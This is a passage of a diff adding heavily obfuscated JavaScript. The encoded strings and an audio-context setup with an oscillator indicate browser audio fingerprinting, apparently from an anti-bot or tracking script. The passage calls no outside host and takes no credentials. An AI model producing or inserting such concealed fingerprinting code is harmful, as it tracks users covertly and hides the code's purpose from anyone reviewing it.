_$Qv[_$Wv](_$Yv); + _$Pv = _$ef; + _$Gv = _$OC; + _$Zv = _$rf; + _$Ev = 1; + _$_v = _$Zv - _$Ev; + _$Vv = _$Pv[_$Gv](_$_v); + _$qv = _$Ov - _$Vv; + _$Hv = _$bW(_$qv); + _$ef += _$Hv + } + _$Qv = _$ef; + _$cf = _$Qv; + for (_$vf = 0; _$vf < _$Jn.length; ) { + _$Qv = _$cf; + _$Wv = _$_C; + _$Yv = _$Jn; + _$Ov = _$_C; + _$Pv = _$vf; + _$Gv = _$Yv[_$Ov](_$Pv); + _$Zv = _$OC; + _$Ev = _$Gv[_$Zv](); + _$_v = 32; + _$Vv = _$Ev - _$_v; + _$qv = _$Qv[_$Wv](_$Vv); + _$sf = _$qv; + _$Hv = _$cf; + _$xv = _$_C; + _$Bv = _$Jn; + _$Xv = _$_C; + _$Fv = _$vf; + _$$v = 1; + _$es = _$Fv + _$$v; + _$ts = _$Bv[_$Xv](_$es); + _$ds = _$OC; + _$Ms = _$ts[_$ds](); + _$Is = 32; + _$As = _$Ms - _$Is; + _$Ss = _$Hv[_$xv](_$As); + _$nf = _$Ss; + _$Qv = _$$n; + _$Wv = _$sf; + _$Yv = _$nf; + _$Qv[_$Wv] = _$Yv; + _$Qv = _$vf; + _$Wv = 2; + _$Yv = _$Qv + _$Wv; + _$vf = _$Yv + } + _$Qv = _$$n; + _$ff = _$Qv; + for (_$tf = 0, + _$if = _$Dn.length; _$tf < _$if; ++_$tf) { + _$Qv = _$sp; + _$of = _$Qv; + _$Wv = 1; + _$kf = _$Wv; + _$Qv = _$kf; + _$Wv = 1; + _$Yv = _$Qv + _$Wv; + _$kf = _$Yv; + _$Qv = 1; + _$of = _$Qv; + _$Qv = _$BC; + _$bf = _$Qv; + _$Qv = _$kf; + _$of = _$Qv; + _$Qv = 6815744; + _$Wv = 6356992; + _$Yv = 7536640; + _$Ov = 5177344; + _$Pv = 7798784; + _$Gv = 7208960; + _$Zv = 5242880; + _$Ev = 7471104; + _$_v = 7274496; + _$Vv = 7340032; + _$qv = 6619136; + _$Hv = 7471104; + _$xv = 7602176; + _$Bv = 7929856; + _$Xv = [_$Qv, _$Wv, _$Yv, _$Ov, _$Pv, _$Gv, _$Zv, _$Ev, _$_v, _$Vv, _$qv, _$Hv, _$xv, _$Bv]; + _$kf = _$Xv; + for (_$lf = 0; _$lf < _$kf.length; _$lf++) { + _$Qv = _$bf; + _$Wv = _$kf; + _$Yv = _$lf; + _$Ov = _$Wv[_$Yv]; + _$Pv = 16; + _$Gv = _$Ov >> _$Pv; + _$Zv = _$bW(_$Gv); + _$Ev = _$Qv + _$Zv; + _$bf = _$Ev + } + _$Qv = _$kf; + _$Wv = _$LC; + _$Yv = _$of; + _$Ov = _$Qv[_$Wv](_$Yv); + _$kf = _$Ov; + _$Qv = _$ff; + _$Wv = _$bf; + _$Yv = _$Dn; + _$Ov = _$_C; + _$Pv = _$tf; + _$Gv = _$Yv[_$Ov](_$Pv); + _$Zv = _$Qv[_$Wv](_$Gv); + if (_$Zv) { + _$Qv = _$ff; + _$Wv = _$Dn; + _$Yv = _$_C; + _$Ov = _$tf; + _$Pv = _$Wv[_$Yv](_$Ov); + _$Gv = _$Qv[_$Pv]; + _$mn += _$Gv + } else { + _$Qv = _$Dn; + _$Wv = _$_C; + _$Yv = _$tf; + _$Ov = _$Qv[_$Wv](_$Yv); + _$mn += _$Ov + } + } + _$Qv = _$BC; + _$hf = _$Qv; + _$Wv = _$vp; + _$gf = _$Wv; + _$Yv = 1; + _$uf = _$Yv; + _$Qv = _$uf; + _$Wv = 1; + _$Yv = _$Qv + _$Wv; + _$uf = _$Yv; + _$Qv = 1; + _$gf = _$Qv; + _$Qv = _$BC; + _$pf = _$Qv; + _$Qv = _$uf; + _$gf = _$Qv; + _$Qv = 48128; + _$Wv = 105472; + _$Yv = 105472; + _$Ov = 91136; + _$Pv = 73728; + _$Gv = 113664; + _$Zv = 125952; + _$Ev = 64512; + _$_v = 70656; + _$Vv = 100352; + _$qv = 73728; + _$Hv = 102400; + _$xv = 76800; + _$Bv = 102400; + _$Xv = 113664; + _$Fv = 95232; + _$$v = 125952; + _$es = 50176; + _$ts = 95232; + _$ds = [_$Qv, _$Wv, _$Yv, _$Ov, _$Pv, _$Gv, _$Zv, _$Ev, _$_v, _$Vv, _$qv, _$Hv, _$xv, _$Bv, _$Xv, _$Fv, _$$v, _$es, _$ts]; + _$uf = _$ds; + for (_$yf = 0; _$yf < _$uf.length; _$yf++) { + _$Qv = _$pf; + _$Wv = _$uf; + _$Yv = _$yf; + _$Ov = _$Wv[_$Yv]; + _$Pv = 10; + _$Gv = _$Ov >> _$Pv; + _$Zv = _$bW(_$Gv); + _$Ev = _$Qv + _$Zv; + _$pf = _$Ev + } + _$Qv = _$uf; + _$Wv = _$LC; + _$Yv = _$gf; + _$Ov = _$Qv[_$Wv](_$Yv); + _$uf = _$Ov; + _$Qv = _$pf; + _$Dn = _$Qv; + _$ff = (_$ks = {}, + _$Ns = _$ks, + _$Hs = _$cp, + _$xs = _$rp, + _$wf = _$Ns[_$Hs] = _$xs, + _$df = _$ks, + _$Mf = _$ep, + _$If = _$ap, + _$Af = _$df[_$Mf] = _$If, + _$Sf = _$ks, + _$mf = _$$u, + _$Tf = _$Ju, + _$jf = _$Sf[_$mf] = _$Tf, + _$Cf = _$ks, + _$Df = _$Fu, + _$Kf = _$Xu, + _$Qf = _$Cf[_$Df] = _$Kf, + _$Wf = _$ks, + _$Yf = _$Bu, + _$Uf = _$xu, + _$Of = _$Wf[_$Yf] = _$Uf, + _$Pf = _$ks, + _$Gf = _$Hu, + _$Nf = _$NC, + _$Zf = _$Pf[_$Gf] = _$Nf, + _$zf = _$ks, + _$Ef = _$qu, + _$Rf = _$PM, + _$_f = _$zf[_$Ef] = _$Rf, + _$Lf = _$ks, + _$Vf = _$xu, + _$qf = _$Vu, + _$Hf = _$Lf[_$Vf] = _$qf, + _$xf = _$ks, + _$Bf = _$Lu, + _$Xf = _$_u, + _$Ff = _$xf[_$Bf] = _$Xf, + _$Jf = _$ks, + _$$f = _$Ru, + _$at = _$Eu, + _$et = _$Jf[_$$f] = _$at, + _$rt = _$ks, + _$ct = _$zu, + _$vt = _$ep, + _$st = _$rt[_$ct] = _$vt, + _$nt = _$ks, + _$ft = _$Zu, + _$tt = _$Nu, + _$it = _$nt[_$ft] = _$tt, + _$ot = _$ks, + _$kt = _$Gu, + _$bt = _$Pu, + _$lt = _$ot[_$kt] = _$bt, + _$ht = _$ks, + _$gt = _$Ou, + _$ut = _$zC, + _$pt = _$ht[_$gt] = _$ut, + _$yt = _$ks, + _$wt = _$Uu, + _$dt = _$Yu, + _$Mt = _$yt[_$wt] = _$dt, + _$It = _$ks, + _$At = _$ky, + _$St = _$Wu, + _$mt = _$It[_$At] = _$St, + _$Tt = _$ks, + _$jt = _$QA, + _$Ct = _$Bu, + _$Dt = _$Tt[_$jt] = _$Ct, + _$Kt = _$ks, + _$Qt = _$Qu, + _$Wt = _$Ku, + _$Yt = _$Kt[_$Qt] = _$Wt, + _$Ut = _$ks, + _$Ot = _$Du, + _$Pt = _$IK, + _$Gt = _$Ut[_$Ot] = _$Pt, + _$Nt = _$ks, + _$Zt = _$CC, + _$zt = _$Zu, + _$Et = _$Nt[_$Zt] = _$zt, + _$Rt = _$ks, + _$_t = _$Mw, + _$Lt = _$Cu, + _$Vt = _$Rt[_$_t] = _$Lt, + _$qt = _$ks, + _$Ht = _$ju, + _$xt = _$GA, + _$Bt = _$qt[_$Ht] = _$xt, + _$Xt = _$ks, + _$Ft = _$Tu, + _$Jt = _$mu, + _$$t = _$Xt[_$Ft] = _$Jt, + _$ai = _$ks, + _$ei = _$Su, + _$ri = _$Au, + _$ci = _$ai[_$ei] = _$ri, + _$vi = _$ks, + _$si = _$PM, + _$ni = _$qu, + _$fi = _$vi[_$si] = _$ni, + _$ti = _$ks, + _$ii = _$Iu, + _$oi = _$Mu, + _$ki = _$ti[_$ii] = _$oi, + _$bi = _$ks, + _$li = _$du, + _$hi = _$KK, + _$gi = _$bi[_$li] = _$hi, + _$ui = _$ks, + _$pi = _$wu, + _$yi = _$yu, + _$wi = _$ui[_$pi] = _$yi, + _$di = _$ks, + _$Mi = _$Au, + _$Ii = _$pu, + _$Ai = _$di[_$Mi] = _$Ii, + _$Si = _$ks, + _$mi = _$uu, + _$Ti = _$gu, + _$ji = _$Si[_$mi] = _$Ti, + _$Ci = _$ks, + _$Di = _$hu, + _$Ki = _$_C, + _$Qi = _$Ci[_$Di] = _$Ki, + _$Wi = _$ks, + _$Yi = _$Nu, + _$Ui = _$lu, + _$Oi = _$Wi[_$Yi] = _$Ui, + _$Pi = _$ks, + _$Gi = _$Mu, + _$Ni = _$bu, + _$Zi = _$Pi[_$Gi] = _$Ni, + _$zi = _$ks, + _$Ei = _$lu, + _$Ri = _$ku, + _$_i = _$zi[_$Ei] = _$Ri, + _$Li = _$ks, + _$Vi = _$ou, + _$qi = _$iu, + _$Hi = _$Li[_$Vi] = _$qi, + _$xi = _$ks, + _$Bi = _$tu, + _$Xi = _$fu, + _$Fi = _$xi[_$Bi] = _$Xi, + _$Ji = _$ks, + _$$i = _$CT, + _$ao = _$nu, + _$eo = _$Ji[_$$i] = _$ao, + _$ro = _$ks, + _$co = _$pu, + _$vo = _$EC, + _$so = _$ro[_$co] = _$vo, + _$no = _$ks, + _$fo = _$su, + _$to = _$Qu, + _$io = _$no[_$fo] = _$to, + _$oo = _$ks, + _$ko = _$fu, + _$bo = _$ky, + _$lo = _$oo[_$ko] = _$bo, + _$ho = _$ks, + _$go = _$vu, + _$uo = _$cu, + _$po = _$ho[_$go] = _$uo, + _$yo = _$ks, + _$wo = _$ru, + _$do = _$CC, + _$Mo = _$yo[_$wo] = _$do, + _$Io = _$ks, + _$Ao = _$eu, + _$So = _$zu, + _$mo = _$Io[_$Ao] = _$So, + _$To = _$ks, + _$jo = _$bu, + _$Co = _$tu, + _$Do = _$To[_$jo] = _$Co, + _$Ko = _$ks, + _$Qo = _$au, + _$Wo = _$$g, + _$Yo = _$Ko[_$Qo] = _$Wo, + _$Uo = _$ks, + _$Oo = _$Xu, + _$Po = _$uu, + _$Go = _$Uo[_$Oo] = _$Po, + _$No = _$ks, + _$Zo = _$Jg, + _$zo = _$Lu, + _$Eo = _$No[_$Zo] = _$zo, + _$Ro = _$ks, + _$_o = _$Wu, + _$Lo = _$Fg, + _$Vo = _$Ro[_$_o] = _$Lo, + _$qo = _$ks, + _$Ho = _$ap, + _$xo = _$wu, + _$Bo = _$qo[_$Ho] = _$xo, + _$Xo = _$ks, + _$Fo = _$mu, + _$Jo = _$Xg, + _$$o = _$Xo[_$Fo] = _$Jo, + _$ak = _$ks, + _$ek = _$$g, + _$rk = _$ou, + _$ck = _$ak[_$ek] = _$rk, + _$vk = _$ks, + _$sk = _$Bg, + _$nk = _$vu, + _$fk = _$vk[_$sk] = _$nk, + _$tk = _$ks, + _$ik = _$yu, + _$ok = _$Gu, + _$kk = _$tk[_$ik] = _$ok, + _$bk = _$ks, + _$lk = _$Cu, + _$hk = _$xg, + _$gk = _$bk[_$lk] = _$hk, + _$uk = _$ks, + _$pk = _$Yu, + _$yk = _$LC, + _$wk = _$uk[_$pk] = _$yk, + _$dk = _$ks, + _$Mk = _$Hg, + _$Ik = _$Tu, + _$Ak = _$dk[_$Mk] = _$Ik, + _$Sk = _$ks, + _$mk = _$rp, + _$Tk = _$Bg, + _$jk = _$Sk[_$mk] = _$Tk, + _$Ck = _$ks, + _$Dk = _$qg, + _$Kk = _$yM, + _$Qk = _$Ck[_$Dk] = _$Kk, + _$Wk = _$ks, + _$Yk = _$IK, + _$Uk = _$au, + _$Ok = _$Wk[_$Yk] = _$Uk, + _$Pk = _$ks, + _$Gk = _$ku, + _$Nk = _$hu, + _$Zk = _$Pk[_$Gk] = _$Nk, + _$zk = _$ks, + _$Ek = _$Ju, + _$Rk = _$Mw, + _$_k = _$zk[_$Ek] = _$Rk, + _$Lk = _$ks, + _$Vk = _$_u, + _$qk = _$ZC, + _$Hk = _$Lk[_$Vk] = _$qk, + _$xk = _$ks, + _$Bk = _$Vg, + _$Xk = _$Hg, + _$Fk = _$xk[_$Bk] = _$Xk, + _$Jk = _$ks, + _$$k = _$Lg, + _$ab = _$QA, + _$eb = _$Jk[_$$k] = _$ab, + _$rb = _$ks, + _$cb = _$_g, + _$vb = _$Vg, + _$sb = _$rb[_$cb] = _$vb, + _$nb = _$ks, + _$fb = _$zC, + _$tb = _$CT, + _$ib = _$nb[_$fb] = _$tb, + _$ob = _$ks, + _$kb = _$nu, + _$bb = _$OC, + _$lb = _$ob[_$kb] = _$bb, + _$hb = _$ks, + _$gb = _$_C, + _$ub = _$du, + _$pb = _$hb[_$gb] = _$ub, + _$yb = _$ks, + _$wb = _$OC, + _$db = _$Rg, + _$Mb = _$yb[_$wb] = _$db, + _$Ib = _$ks, + _$Ab = _$FQ, + _$Sb = _$ju, + _$mb = _$Ib[_$Ab] = _$Sb, + _$Tb = _$ks, + _$jb = _$Eg, + _$Cb = _$su, + _$Db = _$Tb[_$jb] = _$Cb, + _$Kb = _$ks, + _$Qb = _$NC, + _$Wb = _$Eg, + _$Yb = _$Kb[_$Qb] = _$Wb, + _$Ub = _$ks, + _$Ob = _$GC, + _$Pb = _$RC, + _$Gb = _$Ub[_$Ob] = _$Pb, + _$_M = _$ks, + _$LM = _$cu, + _$VM = _$Lg, + _$qM = _$_M[_$LM] = _$VM, + _$HM = _$ks, + _$xM = _$RC, + _$BM = _$Du, + _$XM = _$HM[_$xM] = _$BM, + _$FM = _$ks, + _$JM = _$Vu, + _$$M = _$zg, + _$aI = _$FM[_$JM] = _$$M, + _$eI = _$ks, + _$rI = _$yM, + _$cI = _$Su, + _$vI = _$eI[_$rI] = _$cI, + _$sI = _$ks, + _$nI = _$Eu, + _$fI = _$Zg, + _$tI = _$sI[_$nI] = _$fI, + _$iI = _$ks, + _$oI = _$Ng, + _$kI = _$GC, + _$bI = _$iI[_$oI] = _$kI, + _$lI = _$ks, + _$hI = _$Rg, + _$gI = _$Ng, + _$uI = _$lI[_$hI] = _$gI, + _$pI = _$ks, + _$yI = _$LC, + _$wI = _$$u, + _$dI = _$pI[_$yI] = _$wI, + _$MI = _$ks, + _$II = _$Xg, + _$AI = _$Gg, + _$SI = _$MI[_$II] = _$AI, + _$mI = _$ks, + _$TI = _$Gg, + _$jI = _$Hu, + _$CI = _$mI[_$TI] = _$jI, + _$DI = _$ks, + _$KI = _$gu, + _$QI = _$qg, + _$WI = _$DI[_$KI] = _$QI, + _$YI = _$ks, + _$UI = _$ZC, + _$OI = _$eu, + _$PI = _$YI[_$UI] = _$OI, + _$GI = _$ks, + _$NI = _$EC, + _$ZI = _$cp, + _$zI = _$GI[_$NI] = _$ZI, + _$EI = _$ks, + _$RI = _$xg, + _$_I = _$Jg, + _$LI = _$EI[_$RI] = _$_I, + _$VI = _$ks, + _$qI = _$GA, + _$HI = _$Iu, + _$xI = _$VI[_$qI] = _$HI, + _$BI = _$ks, + _$XI = _$Ku, + _$FI = _$Fu, + _$JI = _$BI[_$XI] = _$FI, + _$$I = _$ks, + _$aA = _$iu, + _$eA = _$_g, + _$rA = _$$I[_$aA] = _$eA, + _$cA = _$ks, + _$vA = _$Fg, + _$sA = _$Uu, + _$nA = _$cA[_$vA] = _$sA, + _$fA = _$ks, + _$tA = _$Pu, + _$iA = _$FQ, + _$oA = _$fA[_$tA] = _$iA, + _$kA = _$ks, + _$lA = _$KK, + _$hA = _$Ru, + _$gA = _$kA[_$lA] = _$hA, + _$uA = _$ks, + _$yA = _$Zg, + _$dA = _$ru, + _$MA = _$uA[_$yA] = _$dA, + _$IA = _$ks, + _$AA = _$zg, + _$mA = _$Ou, + _$jA = _$IA[_$AA] = _$mA, + _$ks); + for (_$tf = 0, + _$if = _$Dn.length; _$tf < _$if; ++_$tf) { + _$Qv = _$Pg; + _$CA = _$Qv; + _$Wv = 1; + _$WA = _$Wv; + _$Qv = _$WA; + _$Wv = 1; + _$Yv = _$Qv + _$Wv; + _$WA = _$Yv; + _$Qv = 1; + _$CA = _$Qv; + _$Qv = _$BC; + _$YA = _$Qv; + _$Qv = _$WA; + _$CA = _$Qv; + _$Qv = 851968; + _$Wv = 794624; + _$Yv = 942080; + _$Ov = 647168; + _$Pv = 974848; + _$Gv = 901120; + _$Zv = 655360; + _$Ev = 933888; + _$_v = 909312; + _$Vv = 917504; + _$qv = 827392; + _$Hv = 933888; + _$xv = 950272; + _$Bv = 991232; + _$Xv = [_$Qv, _$Wv, _$Yv, _$Ov, _$Pv, _$Gv, _$Zv, _$Ev, _$_v, _$Vv, _$qv, _$Hv, _$xv, _$Bv]; + _$WA = _$Xv; + for (_$UA = 0; _$UA < _$WA.length; _$UA++) { + _$Qv = _$YA; + _$Wv = _$WA; + _$Yv = _$UA; + _$Ov = _$Wv[_$Yv]; + _$Pv = 13; + _$Gv = _$Ov >> _$Pv; + _$Zv = _$bW(_$Gv); + _$Ev = _$Qv + _$Zv; + _$YA = _$Ev + } + _$Qv = _$WA; + _$Wv = _$LC; + _$Yv = _$CA; + _$Ov = _$Qv[_$Wv](_$Yv); + _$WA = _$Ov; + _$Qv = _$ff; + _$Wv = _$YA; + _$Yv = _$Dn; + _$Ov = _$_C; + _$Pv = _$tf; + _$Gv = _$Yv[_$Ov](_$Pv); + _$Zv = _$Qv[_$Wv](_$Gv); + if (_$Zv) { + _$Qv = _$ff; + _$Wv = _$Dn; + _$Yv = _$_C; + _$Ov = _$tf; + _$Pv = _$Wv[_$Yv](_$Ov); + _$Gv = _$Qv[_$Pv]; + _$hf += _$Gv + } else { + _$Qv = _$Dn; + _$Wv = _$_C; + _$Yv = _$tf; + _$Ov = _$Qv[_$Wv](_$Yv); + _$hf += _$Ov + } + } + _$Qv = _$Sn; + _$Wv = _$mn; + _$Yv = _$Qv[_$Wv]; + _$Ov = _$Yv || (_$ks = _$Sn, + _$Ns = _$hf, + _$ks[_$Ns]); + _$PA = _$Ov; + _$Pv = _$PA; + _$Gv = 1; + _$Zv = 44100; + _$Ev = 44100; + _$_v = new _$Pv(_$Gv,_$Zv,_$Ev); + _$NA = _$_v; + _$Vv = _$Og; + _$ZA = _$Vv; + _$qv = 1; + _$zA = _$qv; + _$Qv = _$zA; + _$Wv = 1; + _$Yv = _$Qv + _$Wv; + _$zA = _$Yv; + _$Qv = 1; + _$ZA = _$Qv; + _$Qv = _$BC; + _$EA = _$Qv; + _$Qv = _$zA; + _$ZA = _$Qv; + _$Qv = 3168; + _$Wv = 3648; + _$Yv = 3232; + _$Ov = 3104; + _$Pv = 3712; + _$Gv = 3232; + _$Zv = 2528; + _$Ev = 3680; + _$_v = 3168; + _$Vv = 3360; + _$qv = 3456; + _$Hv = 3456; + _$xv = 3104; + _$Bv = 3712; + _$Xv = 3552; + _$Fv = 3648; + _$$v = [_$Qv, _$Wv, _$Yv, _$Ov, _$Pv, _$Gv, _$Zv, _$Ev, _$_v, _$Vv, _$qv, _$Hv, _$xv, _$Bv, _$Xv, _$Fv]; + _$zA = _$$v; + for (_$RA = 0; _$RA < _$zA.length; _$RA++) { + _$Qv = _$EA; + _$Wv = _$zA; + _$Yv = _$RA; + _$Ov = _$Wv[_$Yv]; + _$Pv = 5; + _$Gv = _$Ov >> _$Pv; + _$Zv = _$bW(_$Gv); + _$Ev = _$Qv + _$Zv; + _$EA = _$Ev + } + _$Qv = _$zA; + _$Wv = _$LC; + _$Yv = _$ZA; + _$Ov = _$Qv[_$Wv](_$Yv); + _$zA = _$Ov; + _$Qv = _$NA; + _$Wv = _$EA; + _$Yv = _$Qv[_$Wv](); + _$_A = _$Yv; + _$Ov = _$Ug; + _$LA = _$Ov; + _$Pv = 1; + _$VA = _$Pv; + _$Qv = _$VA; + _$Wv = 1; + _$Yv = _$Qv + _$Wv; + _$VA = _$Yv; + _$Qv = 1; + _$LA = _$Qv; + _$Qv = _$BC; + _$qA = _$Qv; + _$Qv = _$VA; + _$LA = _$Qv; + _$Qv = 29696; + _$Wv = 30976; + _$Yv = 28672; + _$Ov = 25856; + _$Pv = [_$Qv, _$Wv, _$Yv, _$Ov]; + _$VA = _$Pv; + for (_$HA = 0; _$HA < _$VA.length; _$HA++) { + _$Qv = _$qA; + _$Wv = _$VA; + _$Yv = _$HA; + _$Ov = _$Wv[_$Yv]; + _$Pv = 8; + _$Gv = _$Ov >> _$Pv; + _$Zv = _$bW(_$Gv); + _$Ev = _$Qv + _$Zv; + _$qA = _$Ev + } + _$Qv = _$VA; + _$Wv = _$LC; + _$Yv = _$LA; + _$Ov = _$Qv[_$Wv](_$Yv); + _$VA = _$Ov; + _$Qv = _$Yg; + _$xA = _$Qv; + _$Wv = 1; + _$BA = _$Wv; + _$Qv = _$BA; + _$Wv = 1; + _$Yv = _$Qv + _$Wv; + _$BA = _$Yv; + _$Qv = 1; + _$xA = _$Qv; + _$Qv = _$BC; + _$XA = _$Qv; + _$Qv = _$BA; + _$xA = _$Qv; + _$Qv = 1856; + _$Wv = 1824; + _$Yv = 1680; + _$Ov = 1552; + _$Pv = 1760; + _$Gv = 1648; + _$Zv = 1728; + _$Ev = 1616; + _$_v = [_$Qv, _$Wv, _$Yv, _$Ov, _$Pv, _$Gv, _$Zv, _$Ev]; + _$BA = _$_v; + for (_$FA = 0; _$FA < _$BA.length; _$FA++) { + _$Qv = _$XA; + _$Wv = _$BA; + _$Yv = _$FA; + _$Ov = _$Wv[_$Yv]; + _$Pv = 4; + _$Gv = _$Ov >> _$Pv; + _$Zv = _$bW(_$Gv); + _$Ev = _$Qv + _$Zv; + _$XA = _$Ev + } + _$Qv = _$BA; + _$Wv = _$LC; + _$Yv = _$xA; + _$Ov = _$Qv[_$Wv](_$Yv); + _$BA = _$Ov; + _$Qv = _$_A; + _$Wv = _$qA; + _$Yv = _$XA; + _$Qv[_$Wv] = _$Yv; + _$Qv = _$Wg; + _$JA = _$Qv; + _$Wv = 1; + _$$A = _$Wv; + _$Qv = _$$A; + _$Wv = 1; + _$Yv = _$Qv + _$Wv; + _$$A = _$Yv; + _$Qv = 1; + _$JA = _$Qv; + _$Qv = _$BC; + _$aS = _$Qv; + _$Qv = _$$A; + _$JA = _$Qv; + _$Qv = 1671168; + _$Wv = 1867776; + _$Yv = 1654784; + _$Ov = 1851392; + _$Pv = 1916928; + _$Gv = 1654784; + _$Zv = 1802240; + _$Ev = 1622016; + _$_v = 1982464; + _$Vv = [_$Qv, _$Wv, _$Yv, _$Ov, _$Pv, _$Gv, _$Zv, _$Ev, _$_v]; + _$$A = _$Vv; + for (_$eS = 0; _$eS < _$$A.length; _$eS++) { + _$Qv = _$aS; + _$Wv = _$$A; + _$Yv = _$eS; + _$Ov = _$Wv[_$Yv]; + _$Pv = 14; + _$Gv = _$Ov >> _$Pv; + _$Zv = _$bW(_$Gv); + _$Ev = _$Qv + _$Zv; + _$aS = _$Ev + } + _$Qv = _$$A; + _$Wv = _$LC; + _$Yv = _$JA; + _$Ov = _$Qv[_$Wv](_$Yv); + _$$A = _$Ov; + _$Qv = _$Qg; + _$rS = _$Qv; + _$Wv = 1; + _$cS = _$Wv; + _$Qv = _$cS; + _$Wv = 1; + _$Yv = _$Qv + _$Wv; + _$cS = _$Yv; + _$Qv = 1; + _$rS = _$Qv; + _$Qv = _$BC; + _$vS = _$Qv; + _$Qv = _$cS; + _$rS = _$Qv; + _$Qv = 792; + _$Wv = 936; + _$Yv = 912; + _$Ov = 912; + _$Pv = 808; + _$Gv = 880; + _$Zv = 928; + _$Ev = 672; + _$_v = 840; + _$Vv = 872; + _$qv = 808; + _$Hv = [_$Qv, _$Wv, _$Yv, _$Ov, _$Pv, _$Gv, _$Zv, _$Ev, _$_v, _$Vv, _$qv]; + _$cS = _$Hv; + for (_$sS = 0; _$sS < _$cS.length; _$sS++) { + _$Qv = _$vS; + _$Wv = _$cS; + _$Yv = _$sS; + _$Ov = _$Wv[_$Yv]; + _$Pv = 3; + _$Gv = _$Ov >> _$Pv; + _$Zv = _$bW(_$Gv); + _$Ev = _$Qv + _$Zv; + _$vS = _$Ev + } + _$Qv = _$cS; + _$Wv = _$LC; + _$Yv = _$rS; + _$Ov = _$Qv[_$Wv](_$Yv); + _$cS = _$Ov; + _$Qv = _$Nr + _$Or + _$Zr + _$Er + _$Rr + _$zr + _$Pr + _$Ur + _$Gr + _$Wr + _$Yr; + _$nS = _$Qv; + _$Wv = function(_$a, _$e) { + var _$r, _$c, _$v, _$s, _$n, _$f, _$t, _$i, _$o, _$k, _$b, _$l, _$h, _$g, _$u, _$p, _$y, _$w, _$d; + for (_$r = 0; _$r < _$a.length; _$r++) { + _$c = _$a; + _$v = _$r; + _$s = _$c[_$v]; + _$n = _$e; + _$f = _$s === _$n; + if (_$f) { + _$c = _$r; + return _$c + } + } + _$c = 1; + _$t = _$c; + _$v = 1; + _$s = -_$v; + _$i = _$s; + _$n = 2; + _$o = _$n; + _$f = 0; + _$k = _$f; + _$c = _$t; + _$v = _$i; + _$s = _$c + _$v; + _$n = 0; + _$f = _$s > _$n; + if (_$f) { + _$c = _$o; + _$v = 3; + _$s = _$c >> _$v; + _$k = _$s; + _$c = _$i; + _$v = _$k; + _$s = _$c + _$v; + _$k = _$s; + _$c = _$t; + _$v = _$o; + _$s = _$k; + _$n = _$v * _$s; + _$f = _$c >> _$n; + _$b = _$t; + _$l = _$f >> _$b; + _$i = _$l; + _$c = _$i; + _$v = _$k; + _$s = _$c / _$v; + _$k = _$s + } + _$c = _$t; + _$v = _$c; + if (_$v) { + _$h = _$i; + _$v = !_$h + } + if (_$v) { + _$c = _$o; + _$v = 3; + _$s = _$c % _$v; + _$k = _$s; + _$c = _$i; + _$v = _$k; + _$s = _$c + _$v; + _$k = _$s + } + _$c = 5; + _$v = -_$c; + _$i = _$v; + _$c = _$t; + _$v = _$i; + _$s = _$c + _$v; + _$n = _$t; + _$f = _$s + _$n; + _$b = 0; + _$l = _$f > _$b; + if (_$l) { + _$c = _$t; + _$v = _$o; + _$s = _$k; + _$n = _$v + _$s; + _$f = _$c >> _$n; + _$b = _$t; + _$l = _$f >> _$b; + _$i = _$l; + _$c = _$i; + _$v = _$k; + _$s = _$c + _$v; + _$k = _$s + } + _$c = _$i; + _$v = _$o; + _$s = _$c + _$v; + _$n = 0; + _$f = _$s > _$n; + if (_$f) { + _$c = _$i; + _$v = _$k; + _$s = _$c + _$v; + _$k = _$s; + _$c = _$i; + _$v = _$k; + _$s = _$c - _$v; + _$o = _$s + } + _$c = _$t; + _$v = _$k; + _$s = _$c + _$v; + _$n = _$i; + _$f = _$s < _$n; + if (_$f) { + _$c = _$t; + _$v = _$o; + _$s = _$k; + _$n = _$v + _$s; + _$f = _$c >> _$n; + _$b = _$t; + _$l = _$i; + _$g = _$b - _$l; + _$u = _$f >> _$g; + _$p = _$k; + _$y = _$u >> _$p; + _$k = _$y + } + _$c = _$o; + _$v = 0; + _$s = _$c < _$v; + if (_$s) { + _$c = _$i; + _$v = _$t; + _$s = _$k; + _$n = _$v / _$s; + _$f = _$c >> _$n; + _$b = _$t; + _$l = _$f >> _$b; + _$o = _$l + } + _$c = _$o; + _$v = _$k; + _$s = _$c + _$v; + _$n = 0; + _$f = _$s < _$n; + if (_$f) { + _$c = _$t; + _$v = _$o; + _$s = _$k; + _$n = _$v * _$s; + _$f = _$c << _$n; + _$b = _$t; + _$l = _$f >> _$b; + _$i = _$l + } + _$c = _$i; + _$v = _$o; + _$s = _$c + _$v; + _$n = 0; + _$f = _$s > _$n; + if (_$f) { + _$c = _$o; + _$v = 2; + _$s = _$c << _$v; + _$o = _$s; + _$c = _$o; + _$v = _$k; + _$s = _$k; + _$n = _$v + _$s; + _$f = _$c >> _$n; + _$b = _$t; + _$l = _$f >> _$b; + _$i = _$l; + _$c = _$i; + _$v = _$k; + _$s = _$c / _$v; + _$k = _$s + } + _$c = _$i; + _$v = !_$c; + if (_$v) { + _$c = _$o; + _$v = 2; + _$s = _$i; + _$n = _$v + _$s; + _$f = _$t; + _$b = _$n - _$f; + _$l = _$c << _$b; + _$o = _$l + } + _$c = _$t; + _$v = !_$c; + if (_$v) { + _$c = 5; + _$v = _$o; + _$s = _$c + _$v; + _$n = 3; + _$f = _$s >> _$n; + _$t = _$f + } + _$c = _$i; + _$v = _$k; + _$s = _$c + _$v; + _$n = 0; + _$f = _$s > _$n; + if (_$f) { + _$c = _$o; + _$v = 4; + _$s = _$i; + _$n = _$v + _$s; + _$f = _$c >> _$n; + _$b = 3; + _$l = _$i; + _$g = _$b * _$l; + _$u = _$o; + _$p = _$g + _$u; + _$y = _$f >> _$p; + _$w = 2; + _$d = _$y << _$w; + _$k = _$d + } + _$c = 1; + _$v = -_$c; + return _$v + } + ; + _$fS = _$Wv; + _$Yv = _$Cr + _$Dr + _$jr + _$Sr + _$Kr + _$Tr + _$mr + _$Qr; + _$tS = _$Yv; + _$Ov = _$tS; + _$Pv = _$PC; + _$Gv = _$Ov[_$Pv]; + _$iS = _$Gv; + _$Zv = 0; + _$gS = _$Zv; + _$Qv = []; + _$uS = _$Qv; + _$Qv = _$nS; + _$Wv = _$PC; + _$Yv = _$Qv[_$Wv]; + _$Ov = 4; + _$Pv = _$Yv / _$Ov; + _$oS = _$Pv; + for (_$pS = 0; _$pS < _$oS; _$pS++) { + _$Qv = _$tS; + _$Wv = _$nS; + _$Yv = _$_C; + _$Ov = _$gS; + _$Pv = _$Wv[_$Yv](_$Ov); + _$Gv = _$fS(_$Qv, _$Pv); + _$hS = _$Gv; + _$gS++; + _$Qv = _$tS; + _$Wv = _$nS; + _$Yv = _$_C; + _$Ov = 